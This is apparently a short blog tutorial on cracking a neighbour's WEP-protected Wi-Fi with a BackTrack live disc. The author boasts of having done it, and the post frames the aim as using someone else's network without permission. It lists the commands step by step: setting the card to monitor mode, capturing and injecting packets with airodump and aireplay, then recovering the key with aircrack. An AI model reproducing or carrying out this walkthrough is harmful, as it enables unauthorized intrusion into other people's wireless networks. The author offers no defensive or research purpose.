Hack and crack that WEP keys!

You don't have to be an IT expert to be able to make use of your neighbour's security enabled Wifi network. Are you kidding me? Hahahaahha... it's true. I've done a couple times. Please read on as i tell you how to do it. Pretty dead simple.

What you need is just a single Dvd with Back Track 3 or 4 installed. So get your copy from http://www.backtrack-linux.org/downloads/ . Burn it into cd/dvd.

Make sure u have a laptop with wireless card that support monitor mode. Most of modern laptop have capability to monitor packets. Boot up your laptop with dvd/cdrom. Wait until u get prompt by back track. Type startx to get started.

Now you're ready to rock! :) get your terminal and set your card to monitor mode :-

# iwconfig wlan0 mode monitor

note :- in my case, my Interface is wlan0, yours maybe different

then issue the following cmd :-

# airodump wlan0 /tmp/dump

# aireplay -2 wlan0

just wait for 5 to 10 min or more to get better amount of captured data.

hit control + c to stop the aireplay

then

# aircrack /tmp/dump_01.cap

if everything goes well, the encryption keys is now yours! :)

This steps can't be applied to WPA,WPA2 PSK due to lack of dictionary contents.
